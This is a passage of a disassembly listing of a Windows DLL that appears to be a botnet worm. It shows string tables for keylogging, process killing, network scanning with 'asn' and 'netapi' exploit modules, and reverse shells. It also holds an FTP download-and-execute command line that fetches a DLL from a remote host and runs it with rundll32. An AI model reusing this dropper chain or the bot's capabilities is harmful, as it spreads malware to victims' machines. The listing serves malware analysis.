aTl db 'tl',0 ; DATA XREF: sub_10007424+16CCo
align 10h
; char aTk[]
aTk db 'tk',0 ; DATA XREF: sub_10007424+1704o
align 4
; char aThreadsKilledT[]
aThreadsKilledT db '{THREADS}: Killed thread %s...',0 ; DATA XREF: sub_10007424+1746o
align 4
; char aKpid[]
aKpid db 'kpid',0 ; DATA XREF: sub_10007424+176Ao
align 4
; char aThreadsKille_0[]
aThreadsKille_0 db '{THREADS}: Killed thread %s...',0 ; DATA XREF: sub_10007424+17B6o
align 4
; char aKat[]
aKat db 'kat',0 ; DATA XREF: sub_10007424+17DAo
; char aThreadsKilledA[]
aThreadsKilledA db '{THREADS}: Killed all threads...',0 ; DATA XREF: sub_10007424+17FCo
align 4
; char aPslist[]
aPslist db 'pslist',0 ; DATA XREF: sub_10007424+1820o
align 4
; char aPskill[]
aPskill db 'pskill',0 ; DATA XREF: sub_10007424+185Do
align 4
; char aPskillpid[]
aPskillpid db 'pskillpid',0 ; DATA XREF: sub_10007424+18A9o
align 10h
; char aHttpserver[]
aHttpserver db 'httpserver',0 ; DATA XREF: sub_10007424+18FAo
align 4
; char aHttpserverSS__[]
aHttpserverSS__ db '{HTTPSERVER}: %s:%s...',0Dh,0Ah,0 ; DATA XREF: sub_10007424+197Co
align 4
; char aHttpd_0[]
aHttpd_0 db 'httpd',0 ; DATA XREF: sub_10007424+19A2o
align 10h
; char aUinfo[]
aUinfo db 'uinfo',0 ; DATA XREF: sub_10007424+1A35o
align 4
aPc db 'PC',0 ; DATA XREF: sub_10007424+1A4Bo
align 4
aPc_0 db 'PC',0 ; DATA XREF: sub_10007424+1A91o
align 10h
aPc_1 db 'PC',0 ; DATA XREF: sub_10007424+1B26o
align 4
aWindows95 db 'WINDOWS 95',0 ; DATA XREF: sub_10007424+1B7Co
align 10h
aWindowsNt db 'WINDOWS NT',0 ; DATA XREF: sub_10007424+1B8Fo
align 4
aWindows98 db 'WINDOWS 98',0 ; DATA XREF: sub_10007424+1BB0o
align 4
aWindowsMe db 'WINDOWS ME',0 ; DATA XREF: sub_10007424+1BD1o
align 4
aWindows2k db 'WINDOWS 2K',0 ; DATA XREF: sub_10007424+1BEFo
align 10h
aWindowsXp db 'WINDOWS XP',0 ; DATA XREF: sub_10007424+1C0Do
align 4
aWindows2k3 db 'WINDOWS 2K3',0 ; DATA XREF: sub_10007424+1C2Bo
aUnknown db 'UNKNOWN',0 ; DATA XREF: sub_10007424:loc_1000905Bo
; char aUserinfoCountr[]
aUserinfoCountr db '{USERINFO}: Country %s operating system %s...',0
; DATA XREF: sub_10007424+1C75o
align 10h
; char aScan[]
aScan db 'scan',0 ; DATA XREF: sub_10007424+1C99o
align 4
; char aAsn[]
aAsn db 'asn',0 ; DATA XREF: sub_10007424+1CE4o
; char aAsn_0[]
aAsn_0 db 'asn',0 ; DATA XREF: sub_10007424+1D17o
; char aD_D_D_D_1[]
aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10007424+1D48o
; char aScanningD_x_x_[]
aScanningD_x_x_ db '{SCANNING}: %d.x.x.x - %d.%d.x.x...',0 ; DATA XREF: sub_10007424+1D70o
; char aNetapi[]
aNetapi db 'netapi',0 ; DATA XREF: sub_10007424+1D9Bo
align 4
; char aNetapi_0[]
aNetapi_0 db 'netapi',0 ; DATA XREF: sub_10007424+1DCEo
align 10h
; char aD_D_D_D_2[]
aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10007424+1DFFo
; char aScanningD_x__0[]
aScanningD_x__0 db '{SCANNING}: %d.x.x.x - %d.%d.x.x...',0 ; DATA XREF: sub_10007424+1E27o
; char aScanningFailed[]
aScanningFailed db '{SCANNING}: Failed...',0 ; DATA XREF: sub_10007424+1E6Fo
align 4
; char aD_D_D_D_3[]
aD_D_D_D_3 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10007424+1F1Do
; char aD_D_D_D_4[]
aD_D_D_D_4 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10007424+1F93o
; char aD_x_x_x[]
aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: sub_10007424+1FBDo
align 4
; char aD_D_x_x[]
aD_D_x_x db '%d.%d.x.x',0 ; DATA XREF: sub_10007424+1FF7o
align 4
; char aD_D_D_x[]
aD_D_D_x db '%d.%d.%d.x',0 ; DATA XREF: sub_10007424+2034o
align 4
; char aD_D_x_x_0[]
aD_D_x_x_0 db '%d.%d.x.x',0 ; DATA XREF: sub_10007424+205Bo
align 10h
; char aScan_0[]
aScan_0 db 'scan',0 ; DATA XREF: sub_10007424+208Co
align 4
; char aKeylog[]
aKeylog db 'keylog',0 ; DATA XREF: sub_10007424+2142o
align 10h
asc_100127A0 db 0Dh,0Ah,0 ; DATA XREF: sub_10007424+21FCo
align 4
; char aKeylogS[]
aKeylogS db '{KEYLOG}:%s',0Dh,0Ah,0 ; DATA XREF: sub_10007424+2201o
align 4
; char aScanstop[]
aScanstop db 'scanstop',0 ; DATA XREF: sub_10007424+2227o
align 10h
; char aScan_1[]
aScan_1 db 'scan',0 ; DATA XREF: sub_10007424+2239o
align 4
; char aScanstopStoppe[]
aScanstopStoppe db '{SCANSTOP}: Stopped scanning... :%d: Roots...',0
; DATA XREF: sub_10007424+224Do
align 4
; char aEip[]
aEip db '!eip',0 ; DATA XREF: sub_10007424+2271o
align 10h
; char PrefixString[]
PrefixString db 'Temp',0 ; DATA XREF: sub_10007424+231Fo
align 4
aHttpWww_what_0 db 'http://www.whatismyip.org',0
align 4
; char aExternalIpS___[]
aExternalIpS___ db '{EXTERNAL-IP} %s...',0 ; DATA XREF: sub_10007424+238Bo
; char aScanstats[]
aScanstats db 'scanstats',0 ; DATA XREF: sub_10007424+23ACo
align 4
; char aScanstatsExplo[]
aScanstatsExplo db '{SCANSTATS}: Exploits %d...',0 ; DATA XREF: sub_10007424+23EDo
; char aSD[]
aSD db '%s (%d)',0 ; DATA XREF: sub_1000998F+D5o
; char aD_D_D_D_5[]
aD_D_D_D_5 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10009B22+32o
; char aD_D_D_D_6[]
aD_D_D_D_6 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10009B22+B4o
; char aFtpd[]
aFtpd db 'ftpd',0 ; DATA XREF: sub_10009C30+6o
align 4
; char aFtpd_0[]
aFtpd_0 db 'ftpd',0 ; DATA XREF: sub_10009C30+4Fo
align 10h
; char aS_dll_7[]
aS_dll_7 db '%s.dll',0 ; DATA XREF: sub_10009CEB+BFo
align 4
; char aEchoOpenSHuXEc[]
aEchoOpenSHuXEc db 'echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo get %s>>x&ec'
; DATA XREF: sub_10009CEB+F2o
db 'ho bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0Dh,0Ah,0
align 4
; char aMsdtc[]
aMsdtc db 'msdtc',0 ; DATA XREF: sub_10009EF0+74o
align 4
; char aRshell[]
aRshell db 'rshell',0 ; DATA XREF: sub_10009EF0+89o
align 4
; char aRshell_0[]
aRshell_0 db 'rshell',0 ; DATA XREF: sub_10009EF0+D4o
align 4
; char aAsn_1[]
aAsn_1 db 'asn',0 ; DATA XREF: sub_1000A1A9+24Fo
; char aNetapi_1[]
aNetapi_1 db 'netapi',0 ; DATA XREF: sub_1000A1A9:loc_1000A447o
align 4
; char aHuAttemptingTo[]
aHuAttemptingTo db '%hu | Attempting to exploit %s',0 ; DATA XREF: sub_1000A1A9+32Ao
align 4
; char aGotReverseShel[]
aGotReverseShel db '[+] Got reverse shell connection from %s',0
; DATA XREF: sub_1000A50C+120o
align 4
; char aS_dll_8[]
aS_dll_8 db '%s.dll',0 ; DATA XREF: sub_1000A50C+138o
align 4
; char aEchoOpenSHuX_0[]
aEchoOpenSHuX_0 db 'echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo get %s>>x&ec'
; DATA XREF: sub_1000A50C+16Co
db 'ho bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0Dh,0Ah,0
align 4
; char aD_SS[]
aD_SS db '%d. %s (%s)',0 ; DATA XREF: sub_1000A858+56o
; char aD_D_D_D_7[]
aD_D_D_D_7 db '%d.%d.%d.%d',0 ; DATA XREF: sub_1000B122+16o
; char aD_D_D_D_8[]
aD_D_D_D_8 db '%d.%d.%d.%d',0 ; DATA XREF: sub_1000B122+76o
; char aD_D_D_D_9[]
aD_D_D_D_9 db '%d.%d.%d.%d',0 ; DATA XREF: sub_1000B122+A8o
align 10h
byte_10012A40 db 0 ; DATA XREF: sub_100020D3+3o
; sub_100020F5+3o
byte_10012A41 db 3 dup(0) ; DATA XREF: sub_10002092+3o
; sub_100020B4+3o
align 8
dword_10012A48 dd 2 dup(0) ; DATA XREF: sub_100019DF+11Fo
dword_10012A50 dd 0 ; DATA XREF: sub_1000127E+18o
byte_10012A54 db 0 ; DATA XREF: sub_10003D22+3o
; sub_10003D44+3o
byte_10012A55 db 3 dup(0) ; DATA XREF: sub_10003CE1+3o
; sub_10003D03+3o
dd 0
dword_10012A5C dd 0 ; DATA XREF: sub_100024A5+3DDr
; sub_100024A5+3E5w ...
dword_10012A60 dd 0 ; DATA XREF: sub_1000329E+19o
byte_10012A64 db 0 ; DATA XREF: sub_100041A3+3o
; sub_100041C5+3o
byte_10012A65 db 3 dup(0) ; DATA XREF: sub_10004162+3o
; sub_10004184+3o
align 10h
; char byte_10012A70[]
byte_10012A70 db 80h dup(0) ; DATA XREF: start+15Co
; sub_10004BB5+15o ...
; char byte_10012AF0[]
byte_10012AF0 db 20h dup(0) ; DATA XREF: sub_10007424+180o
; sub_10007424+18Eo ...
; char byte_10012B10[]
byte_10012B10 db 20h dup(0) ; DATA XREF: sub_10007398+16o
; sub_10007424+373o ...
; char byte_10012B30[]
byte_10012B30 db 10h dup(0) ; DATA XREF: sub_10007398+37o
; sub_10007398+58o
; char byte_10012B40[]
byte_10012B40 db 80h dup(0) ; DATA XREF: sub_10007398+7Co
; SOCKET s
s dd 0 ; DATA XREF: start+1D5r
; sub_10004C83+15r ...
dword_10012BC4 dd 20h dup(0) ; DATA XREF: sub_1000504C+9Fo
byte_10012C44 db 0 ; DATA XREF: sub_1000504C+4Bo
; sub_10007005+266r ...
align 4
dd 1Fh dup(0)
; char ExistingFileName[]
ExistingFileName db 100h dup(0) ; DATA XREF: DllMain(x,x,x)+15o
; sub_10004CE4+41o ...
byte_10012DC4 db 0 ; DATA XREF: sub_1000534D+3o
; sub_1000536F+3o
byte_10012DC5 db 3 dup(0) ; DATA XREF: sub_1000530C+3o
; sub_1000532E+3o
; char Dest[]
Dest db 10h dup(0) ; DATA XREF: sub_10001EBF+9Bo
; sub_100024A5+3B8o ...
byte_10012DD8 db 0 ; DATA XREF: sub_1000A752+28r
; sub_1000A752+42o ...
align 4
dd 0Fh dup(0)
dword_10012E18 dd 20h dup(0) ; DATA XREF: sub_1000A752+64o
; sub_1000A858+3Co ...
byte_10012E98 db 0 ; DATA XREF: sub_10007424+20C0w
; sub_1000A8D0+67r ...
byte_10012E99 db 0 ; DATA XREF: sub_1000A8D0+93r
; sub_1000A8D0+A6w ...
align 10h
dword_10012EA0 dd 0 ; DATA XREF: sub_10007424+ED5w
; sub_10007424+EE7r ...
dd 57h dup(0)
dd 6576h dup(?)
; char byte_1002C5D8[]
byte_1002C5D8 db 10h dup(?) ; DATA XREF: start+148o
; sub_10004BB5+1Ao ...
dword_1002C5E8 dd 20h dup(?) ; DATA XREF: sub_10004CE4+1Bo
; sub_10004DB1+1Bo ...
; char Str[]
Str db 80h dup(?) ; DATA XREF: sub_1000504C+2Fo
; sub_10007005+1D9o
; char Name[]
Name db 80h dup(?) ; DATA XREF: start+111o
; sub_1000504C+13o ...
dword_1002C768 dd 20h dup(?) ; DATA XREF: sub_1000504C+83o
; sub_10007424+1A0o ...
dword_1002C7E8 dd 20h dup(?) ; DATA XREF: sub_1000504C+BBo
; sub_10005C3D+B6Fo ...
; char byte_1002C868[]
byte_1002C868 db 80h dup(?) ; DATA XREF: sub_100024A5+358o
; sub_100024A5+7BAo ...
byte_1002C8E8 db ? ; DATA XREF: sub_1000504C+123o
; sub_1000504C+13Aw ...
align 4
dd 200h dup(?)
; char dword_1002D0EC[]
dword_1002D0EC dd ? ; DATA XREF: sub_10005C3D+B4Ar
; sub_10005C3D+B52w ...
dd ?
db ?
byte_1002D0F5 db ? ; DATA XREF: sub_10005C3D+B59r
; sub_10007424+2078w
byte_1002D0F6 db ? ; DATA XREF: sub_10007424+1CC3r
; sub_10007424:loc_100090F6w ...
byte_1002D0F7 db ? ; DATA XREF: sub_1000A8D0+ADw
; sub_1000AA09+54w ...
byte_1002D0F8 db ? ; DATA XREF: sub_10005864+3o
; sub_10005886+3o
byte_1002D0F9 db 3 dup(?) ; DATA XREF: sub_10005823+3o
; sub_10005845+3o
align 10h
byte_1002D100 db ? ; DATA XREF: sub_10005A3C+3o
; sub_10005A5E+3o
byte_1002D101 db 3 dup(?) ; DATA XREF: sub_100059FB+3o
; sub_10005A1D+3o
align 8
; u_short hostshort
hostshort dw ? ; DATA XREF: sub_10001EBF+93r
; sub_100024A5+3B0r ...
byte_1002D10A db ? ; DATA XREF: sub_100068E3+3o
; sub_10006905+3o
byte_1002D10B db ? ; DATA XREF: sub_100068A2+3o
; sub_100068C4+3o
; SOCKET dword_1002D10C
dword_1002D10C dd ? ; DATA XREF: sub_10005A70+12w
; sub_10005A70+4Fr ...
dd ?
byte_1002D114 db ? ; DATA XREF: sub_10006970+3o
; sub_10006992+3o
byte_1002D115 db 3 dup(?) ; DATA XREF: sub_1000692F+3o
; sub_10006951+3o
dd ?
byte_1002D11C db ? ; DATA XREF: sub_10006F70+3o
; sub_10006F92+3o
byte_1002D11D db 3 dup(?) ; DATA XREF: sub_10006F2F+3o
; sub_10006F51+3o
dd ?
dword_1002D124 dd ? ; DATA XREF: sub_10007005+1Ao
; char dword_1002D128[]
dword_1002D128 dd ? ; DATA XREF: sub_10007424+1840o
dword_1002D12C dd ? ; DATA XREF: sub_10007424:loc_10008CA5o
dword_1002D130 dd ? ; DATA XREF: sub_10007424:loc_10008F54o
byte_1002D134 db ? ; DATA XREF: sub_10009880+3o
; sub_100098A2+3o
byte_1002D135 db 3 dup(?) ; DATA XREF: sub_1000983F+3o
; sub_10009861+3o
dd ?
; u_short word_1002D13C
word_1002D13C dw ? ; DATA XREF: sub_10009E30+7Er
; sub_10009EF0+18Cw ...
byte_1002D13E db ? ; DATA XREF: sub_10009AF0+3o
; sub_10009B12+3o
byte_1002D13F db ? ; DATA XREF: sub_10009AAF+3o
; sub_10009AD1+3o
; u_short Val
Val dw ? ; DATA XREF: sub_10009EF0+B0w
; sub_10009EF0+C2r ...
align 8
byte_1002D148 db ? ; DATA XREF: sub_1000A720+3o
; sub_1000A742+3o
byte_1002D149 db 3 dup(?) ; DATA XREF: sub_1000A6DF+3o
; sub_1000A701+3o
align 10h
byte_1002D150 db ? ; DATA XREF: sub_1000AC80+3o
; sub_1000ACA2+3o
byte_1002D151 db 3 dup(?) ; DATA XREF: sub_1000AC3F+3o
; sub_1000AC61+3o
align 8
byte_1002D158 db ? ; DATA XREF: sub_1000B0F0+3o
; sub_1000B112+3o
byte_1002D159 db 3 dup(?) ; DATA XREF: sub_1000B0AF+3o
; sub_1000B0D1+3o
align 10h
dword_1002D160 dd ? ; DATA XREF: _CRT_INIT(x,x,x)+8r
; _CRT_INIT(x,x,x)+10w ...
dword_1002D164 dd ? ; DATA XREF: _CRT_INIT(x,x,x)+21w
dword_1002D168 dd ? ; DATA XREF: DllEntryPoint:loc_1000BB9Fr
; DllEntryPoint+82r
dword_1002D16C dd ? ; DATA XREF: __onexit:loc_1000B981o
; _CRT_INIT(x,x,x)+54w ...
; void *Memory
Memory dd ? ; DATA XREF: __onexitr __onexit+1Ao ...
_data ends
end DllEntryPoint